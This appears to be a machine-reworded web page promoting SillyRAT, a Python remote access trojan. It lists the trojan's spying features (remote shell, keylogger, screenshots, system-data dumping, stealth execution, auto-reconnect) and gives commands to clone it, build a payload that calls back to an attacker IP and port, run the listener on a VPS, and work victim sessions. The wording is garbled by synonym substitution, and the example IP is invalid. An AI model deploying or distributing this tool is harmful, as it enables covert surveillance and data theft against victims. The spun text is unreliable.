A transfer platform RAT written in natural Python. The RAT settle for instructions along arguments to each and every carry out because the server who accepts connections or to accomplish as the buyer/serve as who come to a decision connections to the server. The generate command makes use of the module pyinstaller to ship together the true payload code. So, as a way to generate payload record for your respective platform, you wish to have to be on that platform whilst producing the record. Additionally, you are able to immediately get the supply record as well.
- Integrated Shell for command execution
- Dumping Software Data at the side of drives and rams
- Screenshot module. Captures screenshot of purchaser computer screen.
- Connection Loop (Will proceed on connecting to server)
- Nowadays, it makes use of BASE64 encoding.
- Natural Python
- Switch Platform. (Examined on Linux. Mistakes are licensed)
- Supply Record integrated for trying out
- Python 3
- Stealth Execution
- Storing Classes from ultimate try
- Pushing Notifications when a shopper connects
The device is examined on Parrot OS with Python 3.8. Apply the stairs for prepare:
$ git clone https://github.com/hash3liZer/SillyRAT.git $ cd SillyRAT/ $ pip3 prepare -r must haves.txt
You’ll be able to get the payload record in two techniques:
- Supply Record
- Compiled Record
The supply record is to stay an an identical on all platforms. So, you are able to generate it on one platform and apply it to the opposite. Getting the supply record:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
The compiled type has to generated at the respective platform. As an example, you are able to’t generate an .exe record on Linux. You in particular need to be on Space house home windows. The device continues to be underneath trying out. So, a wide variety of mistakes are licensed. Make sure to open a topic even supposing. Producing the Compiled Style for Linux:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer
Change your IP Take care of and Port on above instructions.
The server will have to be completed on Linux. You’ll be able to achieve a VPS or Cloud Server for connections. For the record, the server does now not retailer any consultation from ultimate run. So, the entire development will misplaced as temporarily since the server tool will get terminated. Working your server:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
The entire connections may well be indexed underneath classes command:
You’ll be able to connect to you serve as consultation with attach command and liberate no doubt regarded as one among to be had instructions:
$ attach ID $ keylogger on $ keylogger sell off $ screenshot
Get a list of to be had instructions:
Be in agreement on a Explicit Command:
Unique repository: https://github.com/hash3liZer/SillyRAT